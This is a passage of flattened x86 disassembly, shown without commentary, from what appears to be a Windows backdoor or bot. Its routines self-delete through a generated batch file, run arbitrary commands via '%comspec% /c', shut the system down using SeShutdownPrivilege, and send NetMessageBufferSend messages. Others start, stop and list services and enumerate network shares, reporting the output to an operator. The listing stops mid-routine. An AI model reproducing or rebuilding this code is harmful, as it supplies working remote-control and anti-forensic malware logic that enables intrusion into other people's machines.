ebx nop call near ptr 28306DCh push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 2830000h nop push esi call ebx loc_418333: ; CODE XREF: sub_418294+2Aj ; sub_418294+51j ... pop edi pop esi pop ebx leave retn sub_418294 endp ; =============== S U B R O U T I N E ======================================= sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419652 pop ecx pop ecx push 50005h push 6 call dword_4CB594 neg eax sbb eax, eax neg eax retn sub_418338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41835A proc near ; CODE XREF: sub_401ACD+2755p ; ___:0041686Cp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837E cmp dword_4CB724, esi jnz short loc_41837E push esi call sub_401000 pop ecx loc_41837E: ; CODE XREF: sub_41835A+13j ; sub_41835A+1Bj call sub_40B2C0 lea eax, [ebp+var_764] push eax push 400h call near ptr 26D0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27308C8h mov edi, eax cmp edi, esi jbe loc_4184DE lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2720000h nop push edi nop call near ptr 2690934h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D808 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26B0E4Bh push eax nop call near ptr 26A0000h lea eax, [ebp+var_15C] push eax call near ptr 26B0D2Fh nop cmp eax, 0FFFFFFFFh jz short loc_418486 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26B0C16h loc_418486: ; CODE XREF: sub_41835A+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2840000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2690C14h loc_4184DE: ; CODE XREF: sub_41835A+72j pop edi pop esi leave retn sub_41835A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 270055Dh cmp [ebp+var_84], 2 jnz short loc_418578 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB5D4 push edi push eax call dword_4CB5E4 test eax, eax jz short loc_41856A push [ebp+arg_10] push offset dword_439074 loc_418543: ; CODE XREF: sub_4184E2+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_41856A: ; CODE XREF: sub_4184E2+57j nop call near ptr 26B0857h push eax push offset unk_43904C jmp short loc_418543 ; --------------------------------------------------------------------------- loc_418578: ; CODE XREF: sub_4184E2+3Fj lea eax, [ebp+var_294] push offset unk_43901C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 1Ch loc_4185A2: ; CODE XREF: sub_4184E2+86j pop edi leave retn sub_4184E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 270055Dh cmp [ebp+var_90], 4 jnz short loc_4185FB cmp [ebp+var_8C], 0 jnz short loc_4185E4 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FB leave retn ; --------------------------------------------------------------------------- loc_4185E4: ; CODE XREF: sub_4185A5+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F6 cmp [ebp+var_8C], 5Ah jnz short loc_4185FB loc_4185F6: ; CODE XREF: sub_4185A5+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FB: ; CODE XREF: sub_4185A5+27j ; sub_4185A5+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26E0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26E0353h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27C04C9h mov eax, edi pop edi pop esi leave retn sub_4185A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418685 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26C066Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276F8 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418685 endp ; =============== S U B R O U T I N E ======================================= sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41871A lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439098[esi] push edi push eax call sub_41873C add esp, 14h test eax, eax jnz short loc_41870A push edi push off_439094[esi] push offset unk_4391A8 loc_4186FA: ; CODE XREF: sub_4186C2+56j mov esi, offset dword_4DB6D0 push esi call sub_41B886 add esp, 10h jmp short loc_418737 ; --------------------------------------------------------------------------- loc_41870A: ; CODE XREF: sub_4186C2+2Aj push eax call sub_4187DE pop ecx push eax push edi push offset unk_43917C jmp short loc_4186FA ; --------------------------------------------------------------------------- loc_41871A: ; CODE XREF: sub_4186C2+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB6D0 push off_439090[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 0Ch loc_418737: ; CODE XREF: sub_4186C2+46j mov eax, esi pop edi pop esi retn sub_4186C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873C proc near ; CODE XREF: sub_4186C2+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB648 mov edi, eax cmp edi, ebx jnz short loc_418763 nop call near ptr 26B0857h mov ebx, eax jmp short loc_4187D8 ; --------------------------------------------------------------------------- loc_418763: ; CODE XREF: sub_41873C+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB530 mov esi, eax cmp esi, ebx jnz short loc_418783 nop call near ptr 26B0857h mov ebx, eax jmp short loc_4187D0 ; --------------------------------------------------------------------------- loc_418783: ; CODE XREF: sub_41873C+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B6 cmp eax, 3 jz short loc_4187A7 jle short loc_4187C9 cmp eax, 6 jg short loc_4187C9 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB59C jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187A7: ; CODE XREF: sub_41873C+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB538 jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187B6: ; CODE XREF: sub_41873C+4Dj push esi call dword_4CB5A0 loc_4187BD: ; CODE XREF: sub_41873C+69j ; sub_41873C+78j test eax, eax jnz short loc_4187C9 call near ptr 26B0857h nop mov ebx, eax loc_4187C9: ; CODE XREF: sub_41873C+54j ; sub_41873C+59j ... push esi call dword_4CB54C loc_4187D0: ; CODE XREF: sub_41873C+45j push edi call dword_4CB54C pop esi loc_4187D8: ; CODE XREF: sub_41873C+25j mov eax, ebx pop edi pop ebx leave retn sub_41873C endp ; =============== S U B R O U T I N E ======================================= sub_4187DE proc near ; CODE XREF: sub_4186C2+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418893 jz loc_41888C add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418856 jz short loc_41884C mov ecx, eax sub ecx, 3 jz short loc_418842 dec ecx dec ecx jz short loc_418838 dec ecx jz short loc_41882E sub ecx, 51h jz short loc_418824 sub ecx, 24h jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418824: ; CODE XREF: sub_4187DE+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41882E: ; CODE XREF: sub_4187DE+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418838: ; CODE XREF: sub_4187DE+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418842: ; CODE XREF: sub_4187DE+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41884C: ; CODE XREF: sub_4187DE+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418856: ; CODE XREF: sub_4187DE+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418885 dec ecx jz short loc_41887E dec ecx jz short loc_418877 dec ecx jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418877: ; CODE XREF: sub_4187DE+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41887E: ; CODE XREF: sub_4187DE+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418885: ; CODE XREF: sub_4187DE+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41888C: ; CODE XREF: sub_4187DE+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418893: ; CODE XREF: sub_4187DE+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F6 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_41894A[ecx] jmp off_418922[ecx*4] ; switch jump loc_4188B7: ; DATA XREF: ___:off_418922o push offset aTheSpecifiedDa ; jumptable 004188B0 case 7 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188BE: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceDepe ; jumptable 004188B0 case 17 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188C5: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceDe_0 ; jumptable 004188B0 case 10 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188CC: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHasB ; jumptable 004188B0 case 0 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188D3: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheSpecified_0 ; jumptable 004188B0 case 2 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188DA: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceCoul ; jumptable 004188B0 case 11 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E1: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHa_0 ; jumptable 004188B0 case 14 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E8: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheRequested_1 ; jumptable 004188B0 case 3 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188EF: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHasN ; jumptable 004188B0 case 4 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188F6: ; CODE XREF: sub_4187DE+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FB: ; CODE XREF: sub_4187DE+41j ; sub_4187DE+4Bj ... push offset dword_4DB010 call sub_41B886 pop ecx pop ecx jmp short loc_41891C ; --------------------------------------------------------------------------- loc_418909: ; CODE XREF: sub_4187DE+36j ; sub_4187DE+89j ... push eax ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB010 call sub_41B886 add esp, 0Ch loc_41891C: ; CODE XREF: sub_4187DE+129j mov eax, offset dword_4DB010 retn sub_4187DE endp ; --------------------------------------------------------------------------- off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r dd offset loc_4188D3 ; jump table for switch statement dd offset loc_4188E8 dd offset loc_4188EF dd offset loc_4188B7 dd offset loc_4188C5 dd offset loc_4188DA dd offset loc_4188E1 dd offset loc_4188BE dd offset loc_418909 byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB648 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_418994: ; CODE XREF: sub_41895C+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB614 test eax, eax jnz short loc_4189CE nop call near ptr 26B0857h cmp eax, 0EAh jnz loc_418A82 loc_4189CE: ; CODE XREF: sub_41895C+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A79 lea esi, [ebp+var_188] loc_4189DF: ; CODE XREF: sub_41895C+117j mov eax, [esi+8] dec eax jz short loc_418A28 dec eax jz short loc_418A21 dec eax jz short loc_418A1A dec eax jz short loc_418A13 dec eax jz short loc_418A0C dec eax jz short loc_418A05 dec eax jz short loc_4189FE push offset aUnknown_0 ; " Unknown" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_41895C+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A05: ; CODE XREF: sub_41895C+96j push offset aPausing ; " Pausing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A0C: ; CODE XREF: sub_41895C+93j push offset aContinuing ; " Continuing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A13: ; CODE XREF: sub_41895C+90j push offset aRunning ; " Running" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A1A: ; CODE XREF: sub_41895C+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A21: ; CODE XREF: sub_41895C+8Aj push offset aStarting ; " Starting" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A28: ; CODE XREF: sub_41895C+87j push offset aStopped ; " Stopped" loc_418A2D: ; CODE XREF: sub_41895C+A0j ; sub_41895C+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DF loc_418A79: ; CODE XREF: sub_41895C+77j cmp [ebp+var_8], ebx jnz loc_418994 loc_418A82: ; CODE XREF: sub_41895C+6Cj push [ebp+var_C] call dword_4CB54C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B33 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC2 dec eax jnz short loc_418B13 push edi push 0 call sub_418C6C pop ecx pop ecx jmp short loc_418B0F ; --------------------------------------------------------------------------- loc_418AC2: ; CODE XREF: sub_418A99+18j cmp [ebp+arg_8], 0 jnz short loc_418B01 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B01 push 57h pop eax loc_418AD9: ; CODE XREF: sub_418A99+78j push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2CC push off_439090[eax*4] push offset unk_43973C push esi call sub_41B886 add esp, 14h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B01: ; CODE XREF: sub_418A99+2Dj ; sub_418A99+3Bj push [ebp+arg_8] push edi push 0 call sub_418BC0 add esp, 0Ch loc_418B0F: ; CODE XREF: sub_418A99+27j test eax, eax jnz short loc_418AD9 loc_418B13: ; CODE XREF: sub_418A99+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2CC push off_439094[eax*4] push offset dword_439720 push esi call sub_41B886 add esp, 10h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B33: ; CODE XREF: sub_418A99+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB2CC lea eax, [eax+eax*2] push off_439090[eax*4] push offset unk_4396FC push esi call sub_41B886 add esp, 0Ch loc_418B53: ; CODE XREF: sub_418A99+66j ; sub_418A99+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A99 endp ; =============== S U B R O U T I N E ======================================= sub_418B59 proc near ; CODE XREF: sub_419E7A+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B66 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B66: ; CODE XREF: sub_418B59+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB4CC, 1 mov ebp, eax jnz short loc_418BA3 or byte_4DB4CC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DB26C, eax loc_418BA3: ; CODE XREF: sub_418B59+32j push esi push esi push ebp push dword_4DB26C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB26C pop edi pop ebp pop ebx pop esi retn sub_418B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep ; sub_41A19E+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov edi, eax call sub_418C2B push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2B add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB548 pop edi leave retn sub_418BC0 endp ; =============== S U B R O U T I N E ======================================= sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap ; sub_418BC0+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C38 pop ebp retn ; --------------------------------------------------------------------------- loc_418C38: ; CODE XREF: sub_418C2B+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2B endp ; =============== S U B R O U T I N E ======================================= sub_418C6C proc near ; CODE XREF: sub_418A99+20p ; sub_419E7A+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push 0 push eax push esi call dword_4CB520 pop esi retn sub_418C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2B xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 18h loc_418CC8: ; CODE XREF: sub_418C8F+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB598 mov ebx, eax cmp ebx, esi jz short loc_418D2B cmp ebx, 0EAh jz short loc_418D2B push ebx push ebx call sub_419460 pop ecx push eax lea eax, [ebp+var_210] push offset unk_439788 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 24h jmp short loc_418D98 ; --------------------------------------------------------------------------- loc_418D2B: ; CODE XREF: sub_418C8F+5Dj ; sub_418C8F+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8F mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D39: ; CODE XREF: sub_418C8F+FCj push dword ptr [esi+10h] call dword_4CB53C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D50 mov eax, offset aNo ; "No" loc_418D50: ; CODE XREF: sub_418C8F+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D39 xor esi, esi loc_418D8F: ; CODE XREF: sub_418C8F+A2j push [ebp+var_4] call dword_4CB6E4 loc_418D98: ; CODE XREF: sub_418C8F+9Aj cmp ebx, 0EAh jz loc_418CC8 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E55 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF2 dec eax jz short loc_418DE7 dec eax jnz short loc_418E0D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF7 add esp, 14h jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DE7: ; CODE XREF: sub_418DB0+1Dj push ebx push edi call sub_418ED6 pop ecx pop ecx jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418DB0+1Aj cmp [ebp+arg_8], edi jz short loc_418E06 push [ebp+arg_8] push ebx push edi call sub_418E7C add esp, 0Ch jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418E06: ; CODE XREF: sub_418DB0+45j push 57h pop eax loc_418E09: ; CODE XREF: sub_418DB0+35j ; sub_418DB0+40j ... cmp eax, edi jnz short loc_418E2D loc_418E0D: ; CODE XREF: sub_418DB0+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4D0 push off_439094[eax*4] push offset unk_439840 push esi call sub_41B886 add esp, 10h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418DB0+5Bj push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4D0 push off_439090[eax*4] push offset unk_439810 push esi call sub_41B886 add esp, 14h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418DB0+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB4D0 lea eax, [eax+eax*2] push off_439090[eax*4] push offset unk_4397E8 push esi call sub_41B886 add esp, 0Ch loc_418E75: ; CODE XREF: sub_418DB0+7Bj ; sub_418DB0+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword 